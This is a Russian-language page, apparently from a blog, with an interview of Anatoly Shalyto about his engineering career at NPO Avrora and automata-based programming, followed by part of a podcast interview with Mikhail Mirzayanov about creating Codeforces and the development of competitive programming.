Спортивное программирование

Анатолий Шалыто доктор технических наук, профессор Университета ИТМО,специалист в области автоматного программирования и проектирования алгоритмов логического управления технологическими процессами. C 1970 года он работает в НПО Аврора, в 2018-м стал одним из первых троих специалистов, награжденных государственной наградой, знаком отличия За наставничество.

В интервью музейному проекту DataArt Анатолий Абрамович в 2018 году рассказал о выборе профессии и институте, провалившемся под землю, инженерах в белых и синих халатах, своих учителях и учениках, книге, напечатанной одним пальцем, и вере в собственные силы.

По совету профессора

Каким вы были в 1213 лет?

Я понимал, что мне нравится математика, и хотел заниматься наукой, но ничего для этого не делал. Единственный кружок шахматы. Правда, я еще серьезно занимался плаванием, которое учит терпеть. Учился хорошо, окончил школу с серебряной медалью. Год ходил в знаменитую физмат школу 30, но решил не попадать в стык 1011-х классов и ушел в школу рабочей молодежи. Потом поступил в Ленинградский электротехнический институт им. Ульянова (Ленина), окончил с отличием, опять хотел заниматься наукой, но получалось не очень внятно, потому что, как сказал один доцент, мы здесь готовим из вас не гениев, а чиновников. Прошло много лет, и я пригласил своего бывшего преподавателя отметить защиту моей докторской, благо она проходила в ЛЭТИ. Он пришел, но, видимо, взгляд на то, кого он готовит, и его самого сформировал таким же за столько лет, находясь в вузе, он так и остался доцентом.

Кто ваши родители?

Папа был фотографом с семью классами образования. Он из Орши, небольшого города в Беларуси. Гордился тем, что сын тянется к науке, ходит в музеи, в филармонию. Мама музыкальный руководитель в детском саду. У нас не было никакого семейного академического бэкграунда. Наука была моей внутренней потребностью.

Поскольку у меня была серебряная медаль, сдавать нужно было только один вступительный экзамен. Жили мы на Каменноостровском проспекте, который назывался тогда Кировским, в Петроградском районе. Встал вопрос, куда поступать в Политехнический или Электротехнический. Проконсультировался у одного старого профессора в институте Бонч-Бруевича, который сказал: Вы понимаете, что до ЛЭТИ вам пешком 15 минут, а до Политехнического на трамвае час пятнадцать? Шесть лет вы будете тратить на дорогу два лишних часа каждый день. Конечно, идите в ЛЭТИ. Я и пошел.

Получилось смешно. Сдав экзамен, я поиграл в футбол и сломал палец на ноге ударил по камню вместо мяча. Стал ездить на велосипеде, потому что ходить не мог. Как-то приходит мама: Ты знаешь, что сегодня идет зачисление на специальности? Пока доехал, уже шесть часов вечера. Все места на мою специальность заняты, мне предлагают гироскопы. Пришлось клянчить, что хочу на автоматику и телемеханику. В итоге меня все же взяли.

Как вы родителям объясняли, чем занимаетесь?

Ничего я им не объяснял, а сами они не спрашивали. Папа работал день и ночь, чтобы кормить нас с братом и мать. Маме надо было семейный очаг держать в норме. Каждый выполнял свою функцию. Я должен был хорошо учиться, чтобы родители могли гордиться мною. Мама мне покупала брюки чешские за 35 рублей. Тогда были в моде джинсы, которых в магазинах не было и стоили они не менее 110 рублей. Я получал стипендию 35 и понимал, что не могу позволить себе джинсы, а у отца просить тем более. Материально мы жили как многие. За всю жизнь настоящие проблемы с деньгами, возникли один раз на две недели, когда папа менял работу. Он потом всегда вспоминал, как давился тогда перловой кашей единственным, что у нас в это время было. Он ее терпеть не мог, но ел, чтобы и мы с братом ели.

НПО Аврора

Потом по распределению я попал в НПО Аврора и зверски занялся наукой многофункциональными логическими модулями. У меня был прекрасный начальник, ставший моим Учителем Валерий Леонидович Артюхов, окончивший физфак ЛГУ. Однажды он сказал: У нас совпадают интересы. Я хочу защитить докторскую, а вам, наверное, нужна кандидатская. Давайте писать вместе.

Что значит писать диссертацию в НПО Аврора, когда надо непрерывно делать проекты для кораблей? Это ж не вуз! Времени было мало, и меня мама очень жалела. Когда люди в выходные дни летом ехали в Сестрорецк или Курорт на пляж, я шел в Публичную библиотеку. Понимал, что если сегодня я холост, более или менее свободен на работе, то завтра могут плотно загрузить. Проекты обычно длятся по пять лет, позже были и такие, что длились лет 20. При этом все эти годы каждую минуту нужно было заниматься серьезными вещами. Я уже тогда понимал, что от перестановки мест слагаемых сумма может измениться: практически все мои одногодки, кто в это время ходил на пляж, теперь на пенсии, а я продолжаю работать и общаюсь с прекрасной молодежью. Сходить на пляж и сейчас успею!

Чем занималась Аврора?

Автоматикой для судов и кораблей это управление их техническими средствами, например, общекорабельными системами. Работа хлопотная, сложная и дико ответственная.

Когда делается проект, выпускается куча документации: схем, чертежей, технических условий. Все это передается на завод, а когда рабочие сделают систему, она поступает на стенд. Тогда разработчики идут ее настраивать. Если люди из НИИ приходили на завод, ложились на живот и прозванивали кабели, рабочие говорили: Наука пришла. С их точки зрения, это и была наука. На самом деле, наука когда ты публикуешься в журналах мирового класса, а не на пузе лежишь.

Не всё наука, что выходит из НИИ. И далеко не каждый старший научный сотрудник занимается наукой. Многие занимаются тем, что нужно начальству или родине. Мне же хотелось печататься в таких журналах, как Автоматика и телемеханика и Известия АН СССР. Теория системы управления, в которых можно было публиковать результаты по теоретическим вопросам управления, нонашему предприятию это было не очень-то нужно. Приходилось бороться, особенно, когда пришла перестройка.

У нас было выдающееся предприятие, да оно и сейчас выдающееся. За все годы перестройки зарплату не платили всего две недели. Наш директор Витольд Витальевич Войтецкий не понимал, как людям можно не платить. Он мне показывал удостоверение мастера спорта международного класса по баскетболу, которое получил в 70 лет. За год до этого он стал доктором наук, а год спустя профессором. Мне было на кого равняться. Мужик был крепкий, благодаря ему у нас ничего страшного не произошло, хотя некоторые люди не выдерживали и уходили.

Но денег в конторе все равно было мало. Вот я как-то написал статью в двух частях и в двух экземплярах и принес в общий отдел, чтобы отправить, а ее не берут нет денег на марки. Твоя фамилия сам и отправляй за свой счет. Я мог найти 510 рублей, но не мог понять, почему у меня они должны быть, а у НПО Аврора их нет. Да и счета у меня никакого не было. И это при том, что статья отправлялась с экспертным актом от работы и в тексте было указано, что исследование выполнено в НПО Аврора. Вот и высказал это на повышенных тонах помощнику генерального директора: Я отправляю статью в журнал Академии наук. Либо звоните генеральному и объясняйте причину, почему я хамлю, либо позвоните женщинам в общий отдел и распорядитесь, чтобы они отправили статью. В это время он, явно не испытывая любви ко мне, решал, что делать, и позвонил женщинам.

Как долго вы работали в НПО Аврора?

С 1971 года по 2014-й. Я и сейчас там работаю, только по совместительству. С 1998 по 2014 год по совместительству работал в Университете ИТМО, но это совместительство было необычным каждый день минимум по три часа, кроме воскресений и месяца отпуска. Это удивляло окружающих.

В Авроре я занимался инженерными делами, в каком-то смысле, и вычислительной техникой. Но там все не так, как у программистов. Нельзя ошибаться, потому что это дорого, сложно и опасно. Все связано с ГОСТами, ОСТами, рядом с тобой военпреды и не только. Это воспитывает людей.

Приходишь на работу по звонку в 8:30. Опаздывать нельзя. Конструкторское бюро, кульман, письменный стол. Никаких компьютеров еще не было. Если нужны расчеты, идешь в вычислительный центр. И все вкалывают, как звери. Можно посмотреть любой документальный фильм как ракеты в космос запускают, как подлодки сдают. Никакого разгильдяйства быть не могло, его нет и сейчас.

По субботам на шашлыки не ездили с коллегами?

Нет. Мы ездили в будние дни на картошку и на овощные базы. Бывало, 1 января приходилось лимоны из вагонов разгружать за два отгула. Ящики для овощей сколачивали. Летом ездили пропалывать картошку и турнепс, убирать капусту. Особенно поэтичной была уборка пастернака! Женщины с удовольствием ездили, потому что вместо половины шестого освобождались в два часа. Но мне это дико не нравилось. Сейчас сельское хозяйство как-то без нас обходится, но тогда Артюхов мой начальник и учитель мне пояснил, что это воспитательная мера для того, чтобы каждый понимал, что с завтрашнего дня сколачивание ящиков может стать его основным делом.

Источник фото: здесь.

Мы ездили в совхоз Ручьи, это кольцо 94-го автобуса. В нашей конторе, которой я горжусь, не было ни одного героя соцтруда, а в этом совхозе 18. Почему? Потому что им тысячи людей с разных предприятий и институтов помогали, и производительность труда на одну совхозную душу была невероятная. Я все ждал, когда к нам в Аврору придут совхозники и повысят нашу производительность, тогда и у нас герои соцтруда будут.

Расскажите о вычислительной технике НПО Аврора в разные годы.

При мне сменилось несколько поколений систем управления. Логические элементы для некоторых судов были пневматическими, воздух проходил, иногда засорялся, но суда плавали на них. Потом я застал огромные феррит-диодные элементы. Транзисторы мы не использовали, наши инженеры прямо перешли на реле: маленькие, высоконадежные. В чем их прелесть в судовой автоматике? В том, что они помех не боятся. Потому что для вычислительной техники судно это жуть. Ядерные реакторы работают,двигатели включаются, а системы должны быть дико надежными. Самый надежный элемент в то время реле. Долгое время системы работали на них, потом появились микросхемы, стали потихоньку переходить на микропроцессоры. Сейчас все делается на них.

Как поколения вычислительной техники менялись, так были они и в автоматике. Сейчас можно сказать, что вся автоматика превратилась в управляющую вычислительную технику. А раньше вычислительная техника делилась на офисную (научную) и управляющую. Одна из первых управляющих машин была сделана в Ленинграде на Светлане. Двое ученых: Старос и Берг бежали из Америки, набрали очень толковых людей и сделали. Потом машины стали ставить на подводные лодки в качестве ядра боевых информационно-управляющих систем. Сейчас мои ребята выпускники работают в DataArt, JetBrains, Google. Почти никто не идет в Аврору или Гранит. По многим причинам и секретности они не хотят, и платят здесь меньше, и учили их другому. Хотя в одном из частных оборонных предприятий они работают.

Что вам приходилось держать в секрете, о чем нельзя было говорить даже семьей?

Первое нельзя было с иностранцами встречаться. Если ты идешь по Невскому проспекту, и к тебе подходит иностранец спросить сколько времени, надо было либо изображать из себя придурка, либо сразу бежать докладывать об этом, чтобы инструкцию не дай бог не нарушить.

У моей жены отец был конструктором в одном КБ. Он никогда не говорил дома о работе. Запрещено об этом разговаривать, и все. Но это не только у нас во всем мире так. Когда один наш выдающийся мальчик попросил другого выдающегося мальчика, работавшего в Гугле, не то ноутбук, не то телефон, тот ему не дал. Потому что служебный. И это при том, что они к этому моменту дружили уже более десяти лет. Корпорация, защищая свои секреты, запрещает даже на секунду передать кому-то рабочие гаджеты.

Синие и белые халаты

Что представлял собой вычислительный центр, которым вам приходилось пользоваться?

Огромные помещения с огромными машинами. Там сидят люди, которые сами не пишут программы, а запускают на ЭВМ колоды перфокарт, которые им принесли другие. Вечером или на следующий день ее пропустят и вернут с распечаткой, а ты пойдешь вносить изменения. Может, через день-два будет второй заход для исправления ошибок. Это на персоналке ты пишешь, ошибаешься, снова пишешь. Там же нет возможности ошибаться. Поэтому культура была другой: люди не писали просто так, они продумывали задачу башка работала. Не могло быть ста выходов на машину, иначе работа затянется на годы. За дватри раза нужно было отладить программу.

Расскажите о людях в синих и белых халатах.

И ламповые и транзисторные машины были ненадежными, все время ломались. Чтобы восстановить работу, нужно было вытаскивать и менять платы. На корабле, даже если плата сломалась, ничего нельзя было паять можно только заменить на исправную из ЗИП. В общем, целая история. Все, кто обеспечивал работу машин, носили синие халаты. Белые носили те, кто на этих машинах работал, обслуживая пользователей, и программировал сам. Только в 1970-х появились распределенные компьютеры, когда мы уже могли самостоятельно вводить программы с дисплеев, минуя перфокарты, а персональные компьютеры в России стали доступны только в 1990-е годы.

Между белыми и синими халатами было какое-то классовое разделение?

Среди синих халатов были не только рабочие, но и инженеры. Допускаю, что рабочие ходили обедать сами по себе, а инженеры чем они от программистов отличаются? Могли одну кафедру окончить. Никакой дискриминации по отношении к тем, кто обслуживал железо, не было. Ты подискриминируй завтра у тебя работать ничего не будет. Кстати, в 1991 году, когда случилось ГКЧП, был брошен клич, и все пошли на Дворцовую площадь. Один молодой человек, который отвечал за вычислительную технику в нашем отделе, сказал: Я все блокирую до победы демократии. И действительно заблокировал компьютеры в отделе. На следующий день, когда демократия победила, он их разблокировал.

Что делали руководители, если разработка заходила тупик?

Начальник нашего отдела, а это 250 человек, спрашивал начальника каждого сектора, какие у него есть проблемы. В чем они: рук не хватает, мозгов? Я, например, не знал, как делать систему питания, а мы все должны были работать как одна команда. Потому что, если завалим план, все останемся без премии. И начальник отдела сказал так: Владимир Николаевич (фамилия его была Киселев), вы у нас большой мастер по системам питания. С сегодняшнего дня подчиняетесь этому человеку. Осталось два месяца надо сделать. Начальник перераспределял силы,и мы всегда выполняли план. Непосильных задач не было. За непосильные задачи давали по три звезды героя: Харитону, Зельдовичу, Курчатову, Сахарову. Людям, которые создавали оборонную промышленность, атомную и водородную бомбы. Наши задачи были нам по силам, поэтому у нас ни одного героя и не было.

Контора провалилась

Случались ли на Авроре какие-то форс-мажорные ситуации?

1974 год. Еду на работу, выхожу из троллейбуса на площади Мужества. Надо успеть к 8:30, а сейчас пять минут девятого. Встречаю замдиректора, он говорит: А что вы не торопитесь? Еще 25 минут, куда торопиться? Надо торопиться. Там все рухнуло. Плавун прорвал метро. Когда подходишь, вроде ничего, только трещина идет по зданию. Но внутри перекрытия одного этажа лежали на другом. Иногда люди в сердцах говорят чтоб эта контора провалилась здесь она повалилась физически, ничего хорошего в этом не оказалось. У меня, в частности, в рабочем столе, до которого было не добраться, диссертация лежала, открытая часть. Думал, дома может быть пожар, могут украсть, а на такой работе что случится?

Что делать дальше? Заново писать? Тогда же компьютеров не было, все от руки. И спасла меня коммунистическая партия. Рядом с моим столом за стеклом находился кабинет начальника отдела. У него в сейфе лежал партбилет и, видимо, что-то еще. Партбилет нужно спасти он не может провалиться. Рабочие из патруля повели его другой лестницей забирать. Когда он документы забрал, я дал одному из этих рабочих денег и мешок: Пойди, пожалуйста, и из стола, который стоит на полу, под которым, правда, нет перекрытий, бумаги возьми. В силу того, что он уже там побывал, рабочий смог сходить и вынес все. Насже для спасения социалистического имущества пускали только c другой стороны, где перекрытия были. Когда я рвался к своему столу, мне говорили: Голос Америки передал, что жертв нет, иихинебудет.

Потом женщины послали небольшого роста сотрудника забрать что-то из завала. Он залез, и в это время пришли генеральный директор и какие-то большие начальники. На мужика что-то посыпалось, и он выскочил им под ноги, как заяц. Генеральный со страху дал ему оплеуху. Это сотрудника спасло. Второго наказания не последовало.

Жизнь непредсказуема. Ты хранишь открытый вариант диссертации в совершенно надежном месте, а под тобой метро рушится. Прорывает плавун, здание над ним перекашивает и все.

Потом встал вопрос, куда нас переселять. Рядом было два института недоделанный Торговый и незаселенный Институт цитологии Академии наук. Вечером приехал Первый секретарь обкома КПСС Романов, позвонил Косыгину. Тот спрашивает: Что больше подходит? Институт цитологии. Забирайте. Потому что с цитологами общаться это как свинью брить. Крику много, а шерсти мало. Единственное, что нам не подходило крематорий для зверей. Мы его убрали, въехали и сразу начали работать.

93 печатных листа одним пальцем

Когда у вас появился первый компьютер?

Первым был арифмометр Феликс в 30-й школе. Потом в ЛЭТИ я делал какие-то лабораторные работы на перфокартах. Занятия по вычислительной технике проходили на огромных машинах типа БЭСМ-6 и Урал.

Первый домашний компьютер купил дочери, когда ей исполнилось 15 лет. Потратил все деньги, которые были. Дочь выходила в интернет, я на компьютере написал две толстенные книги. На нем стоял редактор Лексикон, и я печатал одним пальцем. За три года появилось 93 печатных листа, причем ниоткуда ничего не списывал. Потом распечатывал на струйном принтере каждую страницу минуты по три. По этому поводу мой научный руководитель Артюхов вспоминал историю из своей жизни. Когда он ехал на юг на своем горбатом Запорожце, практически не останавливаясь, то опередил товарищей на Волге, которые по дороге устраивали пикники. Иными словами, если день и ночь работать, даже с Лексиконом и струйным принтером, можно обогнать кого угодно.

Почему вы ушли из Авроры?

Я не ушел, по сей день продолжаю там работать по совместительству. Поступил туда в 1970 году, и только пять лет назад перешел в Университет ИТМО на основную работу. Почему не раньше? Я в университете по совместительству работал с 1998 года. Зарплата у профессора в университете была тысяч 30, пока в 2013-м не запустили программу Пять в сто, чтобы пять российских вузов попали в топ-100 мира. Мы четыре раза это сделали в области Computer Science. Когда генеральный директор Авроры Войтецкий узнал, что я преподаю, он вызвал меня и спрашивает: Сколько ты там получаешь? Две тысячи в час. Две тысячи чего?, а поняв, что рублей, сказал: Тогда иди работай. Я спокоен никуда не денешься.

Kotlin и Switch-технология

Какому изобретению ваших коллег в Петербурге вы по-хорошему завидуете?

Зависти у меня нет, я горжусь, что ребята из JetBrains создали язык программирования Kotlin. Главный разработчик Андрей Бреслав учился у нас. Сейчас туда подтянулся еще один наш выпускник Роман Елизаров, в 2020 году он возглавил работы по этому языку. Он чемпион России по программированию, один из главных ответственных за проведение олимпиад во всемирном масштабе. В JetBrains вообще много наших. Они участвовали и участвуют в разработке языка, который два года назад на огромной конференции вице-президент Google объявила вторым языком программирования для Андроидов.

Вы написали книгу Switch-технология, где ввели понятие автоматное программирование. Что это такое?

Программировать можно в разных терминах. Я предлагаю программировать с использованием понятия состояние. Люди живут в состояниях. Жив, здоров, болен. Если болен, то в определенном состоянии находишься. Можно описать состояния и у технического объекта. Определили состояние: открыт-закрыт, открывается-закрывается. После этого формируются дуги, которые обеспечивают переходы из одного состояния в другое. Потом записываются условия переходов.После этого в вершинах и/или на дугах записываются выполняемые действия. И вот так, я считаю, должно начинаться создание любых более-менее сложных поведенческих программ. Это открывает такие возможности, что вы даже не представляете. Так спроектированные программы можно верифицировать, на них может быть выпущена удобная для понимания заказчика проектная документация.

К вам пришли успех и признание?

Признание пришло только в Университете ИТМО. Когда Васильев с Парфеновым увидели очень толстую книгу Switch-технология, они поняли, что, если человек в 1998 году смог ее выпустить, значит, в нем есть стержень. Неважно, что там написано. 1992-1996 годы мрак. Нужно было найти деньги (думаете, их кто-то хотел давать?), напечатать, вычитать, издать. И при этом тебя никто не поддерживает все вопреки. Потом началась схватка в Википедии. Понятие Switch-технология никого не задело, потому что ни с кем не соприкасается, но когда я этот подход назвал автоматным программированием

Есть выдающийся ученый Дмитрий Александрович Поспелов, который по сей день остается самым крупным специалистом в области логического управления (к сожалению, в 2019 году он скончался). В 1997 году на конференции по искусственному интеллекту в Ольгино под Санкт-Петербургом я за завтраком рассказал ему смысл Switch-технологии. Он специалист по автоматам, но в программировании их не применял. Спрашиваю: Почему в схемах такой подход используется, а в программах нет? Он ответил: Здоровый подход. Крепко стоит на земле. Назови это автоматным программированием, если привьется, значит, ты попал.

Мои ребята написали про автоматное программирование в Википедии, и какие-то невнятные люди, не специалисты, стали это уничтожать. Начали говорить, что автоматное программирование давно известно, автоматы использовались в компиляторах и прочем. А я в этой сумрачной переписке отвечал, что автоматное программирование это не программирование с автоматами. Как линейное программирование это не программирование с линейками. Это просто другой тип мышления. Смысл автоматного программирования, его парадигма, состоит в том, что есть объект управления и система управления. Если они замкнуты, я называю это автоматизированным объектом управления. Это очень похоже на машину Тьюринга, где есть лента, и где есть автомат. Но в ленте каждая ячейка практически ничего не делает, а в моем подходе объект управления может делать все что угодно. Смысл автоматного программирования не программирования с автоматами в том, что программу предлагается представлять как систему автоматизированных объектов управления. Мыслить так меня научили на кафедре Автоматики и телемеханики в ЛЭТИ. Мои ученики в НПО Аврора применяют автоматное программирование на практике, и уже не знают, как без него жить.

Гордость

Что было самым сложным в 1990-е годы?

Семью прокормить. Кто-то уходил торговать, кто-то уезжал. Я уезжать не хотел. Это моя страна, мой язык. Менять работу тоже не собирался, так как я не буддист и жизнь у меня одна. Я выбрал в молодости ЛЭТИ, автоматику и прочее не для того, чтобы немножко этим позаниматься, а потом торговать бананами. Даже если бы пригласили директором предприятия, которое компьютеры продает, я бы не пошел. Решил бороться и выстоял. Владимир Глебович Парфенов выстоял, Владимир Николаевич Васильев выстоял тоже. Им не на что было на чемпионат мира студентов везти, ходили по компаниям, собирали по 50 долларов. Я носил в Аврору бутерброды в течение пяти-семи лет, получая по 20 долларов в месяц. Но мои родители уехали, и мне оставили квартиру сдавал ее за 200 долларов. Если бы этих денег не было, видимо, и я бы сдался на 20 долларов, да еще с семьей, даже тогда было не прожить.

Я горжусь тем, что ни я, ни Васильев, ни Парфенов никто не колебался ни со страной, ни с работой. Мы выбрали науку и образование и пошли. Я по сей день не знаю, кому было труднее тем, кто уехал, или нам кто здесь остался. Теперь у нас все в порядке, чего и другим желаем. А те, кто в десятки раз богаче нас, не уверен, что находятся в большем кайфе, чем мы. Свобода и уверенность в себе, если вы успешны, не обязательно с деньгами связаны. Важно с кем живешь, работаешь и с кем общаешься. Я же общаюсь с одними из лучших молодых людей мира. Надо мной надежнейшие начальники. На день науки в 2018 году пресс-конференцию давал Владимир Николаевич Васильев наш ректор, так он вспоминал, что еще в 2000-е годы никто не хотел наукой заниматься. И сейчас многие считают, что в вузе главное преподавать. Но что такое по-настоящему преподавать? Это заниматься наукой и на лекциях рассказывать, что ты придумал вчера. А те, кто преподает и кому преподают по опаздывающим на 15 лет учебникам,ничего не добьются.

На той пресс-конференции я услышал от ректора комплимент: По-моему, Анатолий Абрамович, только мы с вами и верили, что наукой надо заниматься.

Я приземленный человек и неверующий еще к тому же. Как говорил Мичурин, не надо ждать милости от природы, все надо сделать своими руками. Например, на знак отличия За наставничество меня никто не подавал. Генеральный директор НПО Аврора Константин Юрьевич Шилов спросил меня, как я его получил, а потом резюмировал: Я так и думал, что тебя никто не выдвигал. Можно добраться до высот и без помощи со стороны. Надо только при этом очень в себя верить, и чтоб очень уж сильно не мешали.

Дома у вас есть артефакты, вызывающие приятные воспоминания?

Главное приятное воспоминание это как мне вручали в Кремле знак отличия За наставничество. Раньше было три вида знаков отличия: Георгиевский кавалер четырех степеней, который в мирное время практически не вручают, а также знаки отличия За благодеяния и За безупречную службу (для гражданских и военных). И вот учредили четвертый знак отличия За наставничество. Я получил его под номером три указ Президента РФ на трех человек был, а у меня фамилия на Ш. Я троек никогда не получал, и это лучшая тройка в моей жизни. Очень горжусь.

Еще у меня есть фото, как мы в 2008 году с Парфеновым, Васильевым и двумя мальчишками: нашими выпускниками Матвеем Казаковым и Георгием Корневым, получили премию Правительства России в области образования. Тогда в Белом доме (не волнуйтесь в том, что в Москве) награждали, а через 10 лет в Кремле. Все, что у меня есть, выкладываю на сайт is.ifmo.ru, там у меня своего рода музейчик. Я просто считаю, что если ты не Достоевский и не Толстой, надо самому о себе позаботиться. Потому что о Достоевском и Толстом напишут журналисты и историки, а о тебе вряд ли.

В моей человеческой истории главное то, что я в 2008 году придумал сохранять в университете лучших. Люди есть разные. Есть те, кто мечтает работать в промышленности. Есть те, кто стремится уехать на Запад. Я же хочу, чтобы они оставались здесь, иначе все погибнет. И вот я занимаюсь этими суперталантливыми детьми и бьюсь за то, чтобы они оставались не в России даже, а на нашей кафедре. Потому что тогда будет кому учить других, а если будем учить только мы с Парфеновым, то все быстро закончится. Это моя главная миссия. Когда пять чемпионов мира по программированию и два призера этих чемпионатов, а также большое число очень талантливых молодых людей постоянно работают на кафедре, это по нынешним временам большое достижение.

Один человек спросил меня: У парня есть куча офферов из западных контор, а он остается в ИТМО на кафедре. Как это?. Я отвечаю: Очень сложно оставить первого. Второго уже легче. А пятый у нас Гена Короткевич, который семь раз подряд выиграл Google Code Jam и пять из шести Яндекс. Алгоритм, да и много чего еще.

Ни один руководитель больших ИТ-компаний, кроме в свое время Павла Дурова, не вышел с ним поговорить. Очень талантливые ребята мне нужны и интересны, а им хлопотны. Я говорю с ребятами часами, и иногда после этого они меняют жизненную траекторию.

Университет ИТМО последние годы стремительно развивается и добивается выдающихся результатов. Cамое удивительное, что у нас пять лет назад появились выдающиеся химики, и через три года наш университетпо публикационной активности занял по химии первое (!) место в стране. Пришли два брата Виноградова Александр и Владимир. Они родом из Иваново, после аспирантуры работали один в Израиле, другой в Германии, а хотели работать вместе. В Университете ИТМО это у них получилось. К ним пришли работать ученые из хороших мест. Например, профессор Екатерина Скорб пришла в ИТМО после Института Макса Планка и Гарварда. Однажды в интервью она произнесла одну из лучших фраз о науке, что я когда-либо слышал: Если ко мне подходит молодой человек и спрашивает, стоит ли ему заниматься наукой, я отвечаю: Вам не стоит. Такой вопрос не должен задаваться. Я с детства хотел заниматься наукой, это не случайно получилось. Если человек сомневается, значит, ему стоит заняться чем-то другим.

И еще. Моя книга, посвященная 25-летию кафедры, где я уже больше 20 лет работаю, называется: Мои счастливые годы на кафедре Компьютерные технологии Университета ИТМО. Вот так. Желаю, чтобы и вы могли так сказать или написать о своей работе!

Михаил Мирзаянов, разработавший платформу Codeforces и участвующий в жизни Университета ИТМО в роли ассистента факультета информационных технологий и программирования, делится историей проекта и рассуждает о некоторых особенностях спортивного программирования.

Послушать беседу:Apple PodcastsЯндекс.МузыкаGoogle PodcastsPodFMYouTube

Знакомство со спортивным программированием

Таймкод 00:48

@dmitrykabanov: Хотел бы поговорить с вами о том, как вы пришли к спортивному программированию. Какие увидели для себя перспективы в этой области? Совпали ли ваши ожидания в начале пути с прогрессом в настоящий момент?

@MikeMirzayanov: Если грубо говорить, то да. Все отлично совпало. Я такой человек склонен делать то, что нравится. В школе мне было интересно на уроках математики, информатики и программирования, но олимпиады позволяли еще и себе самому доказать, что ты можешь что-то решать и соревноваться с одноклассниками. Плюс в этом была здоровая любознательность, хотелось больше понимать, как и что устроено. Этот процесс непрерывно продолжался. Постепенно появлялись знакомства с людьми, которые лучше ориентировались. С них можно было брать пример. Такие знакомые были и в школьные годы, и в Cаратовском университете их много есть те, с кем я все еще общаюсь, дружу и сотрудничаю. Это очень интересные люди.

Однако помимо того что мне просто нравилось заниматься этой темой, я увидел практическую пользу. Незаметно для себя научился программировать, потом освоил не только задачки, но и промышленный код, где, безусловно, пригодился и опыт спортивного программирования. Техника, работа без ошибок все это помогает, а понимание специфики и в какой-то степени недооцененности спортивного программирования обществом мотивирует меня и сегодня.

Дмитрий: Какой вы видите потенциал с точки зрения недооцененности этой темы?

Михаил: Просто сама идея competitive programming и автоматизированного обучения с помощью задач еще не так развита, как хотелось бы. Такой подход можно внедрять чаще. Он годится и для классических учебных процессов. Конечно, сейчас и мы в Codeforces знакомим достаточно большое количество людей с этой темой. Однако профессионализм в какой-то степени угас. Раньше соревнования были одним из немногих социальных лифтов: позавчера ты еще был школьником из заводского района непонятного города, а потом начинал заниматься и через несколько лет попадал в топовые компании к лучшим работодателям мира. Сейчас количество таких лифтов увеличилось появились стажировки и хакатоны, но фокус оказался несколько размыт. Но это жизнь, и хорошо, что сейчас у людей есть множество альтернатив.

Зачем понадобился такой проект как Codeforces

Таймкод 05:31

Дмитрий: Как внедрялись в процесс подготовки и проведения соревнований такие системы и ресурсы как Codeforces? Как вы поняли, что нужно делать такой продукт?

Михаил: Понял я это, когда закончил участвовать в ICPC и открыл для себя Topcoder еще в 20032004 году. По мере накопления опыта в ИТ я замечал, что какие-то вещи на подобных площадках можно было бы улучшить. Мое видение процесса часто не совпадало с тем, как все это было реализовано у других. Плюс у Topcoder не было ряда пластов программирования, не было все это развито в формате экосистемы. В 2007-м году я решил заняться таким проектом, когда почувствовал, что мое видение того, что можно сделать, было достаточно целостным.

Дмитрий: Какие возможности она предлагала на старте? Что есть сейчас?

Михаил: Codeforces была запущена с достаточной функциональностью сразу была возможность что-то комментировать, отвечать, ставить плюсы и минусы. Тогда не было соцсети для интересующихся программированием, да и сейчас сильных конкурентов нет.

В первом релизе было заложено разделение на два языка. Причем англичанам даже и попыток не было подмешивать кириллицу. Для них это иероглифы, которые только раздражают. В нашем восприятии ближайший аналог китайская письменность.

Постепенно появлялась поддержка всевозможных форматов соревнований по программированию. Сейчас есть большое количество кружков, проводятся учебные занятия и официальные соревнования. Есть интеграция с системой Polygon, где авторы готовят задачи.

Ход развития сферы спортивного программирования

Таймкод 10:30

Дмитрий: За десять с лишним лет пристального внимания к этой индустрии вы точно можете оценить прогресс по количеству соревнований в России и количеству участников, которые выезжают на зарубежные мероприятия от нашей страны.

Михаил: Все-таки то, что я сейчас скажу, будет моим внутренним ощущением. Оно может сильно отличаться от статистики. За десять лет оффлайновых соревнований стало больше, но рост этого направления уже позади. Был такой период, когда крупнейшие компании вкладывались в поддержку ряда состязаний, проводили свои мероприятия. Сейчас взгляд на этот формат эволюционирует, но количество участников от России остается в общем тренде. В контексте десяти лет с точки зрения их численности произошел заметный рывок. Однако последние пять лет прошли гораздо спокойнее и без качественных изменений.

Дмитрий: Если смотреть с точки зрения сложности входа в эту сферу новичков, которые только-только подступаются к теме, появилось ли больше соревнований начального уровня? Или ступеней, которые позволяют плавнее подтягиваться к уровню топовых состязаний?

Михаил: Да, сейчас на это делают чуть больший акцент. Поэтому и количество людей, которые, так или иначе, знакомятся со спортивным программированием, выросло. В линейке ICPC появились дополнительные квалификационные этапы, рассчитанные на начальный уровень подготовки. Их проводят перед четвертьфиналами, чтобы увеличивать охват аудитории и демонстрировать задачи тем ребятам, которые по разным причинам не принимают участие в дальнейших этапах. На Codeforces мы несколько лет проводим соревнования третьего дивизиона, которые традиционно пользуются большой популярностью. Тут задачи достаточно доступные, и регистрируется существенное количество участников.

Личный опыт и работа с учениками

Таймкод 14:58

Дмитрий: Как вы присоединились к сообществу ICPC? Каким был путь от участника соревнований до роли организатора?

Михаил: Когда я поступил в Саратовский университет, у нас были регулярные тренировки. Присоединился к ним с большим удовольствием на первом курсе и стал вникать. Мне сложно все это давалось динамическое программирование, графы не могу сказать, что сразу получалось и было легко. Но терпение и труд позволили дважды поучаствовать в финалах чемпионата мира. Потом стал помогать проводить соревнования, готовить участников. Еще получилось так, что Наталья Львовна Андреева, которая вложила душу в развитие этого направления в Саратовском университете, ушла из жизни. Не хотелось, чтобы ее усилия пропадали было сделано очень много к тому моменту. Но и мой интерес к этой деятельности не менялся со временем. На первом курсе я участвовал в работе жюри школьных олимпиад, преподавал, вел кружки, потом уже участвовал в подготовке и проведении соревнований.

Сейчас я заинтересован в том, чтобы на платформе Codeforces все двигалось вперед, а в ICPC я вовлечен по двум направлениям. С одной стороны, я являюсь председателем жюри четвертьфинала в Саратовском университете, занимаюсь там организационными вопросами, участвую в жюри полуфинала и четвертьфинала в Санкт-Петербурге. С другой, постепенно обсуждаю возможное сотрудничество Codeforces и ICPC. Кстати, здесь еще есть место для развития сообщества выпускников и участников соревнований.

Дмитрий: Ваш пример прекрасно иллюстрирует то, как сообщество обеспечивает себя инструментами и сервисами для развития.

Михаил: В российском сообществе идея alumni пока не совсем работает. Мне кажется, что помощь и участие в жизни сообщества могли бы быть шире среди тех, кто прошел через это все. Для безусловного большинства речь идет о теплых воспоминаниях и благодарном отношении все очень позитивно оценивают роль ICPC в своей студенческой жизни.

Коротко об устройстве проекта

Таймкод 19:40

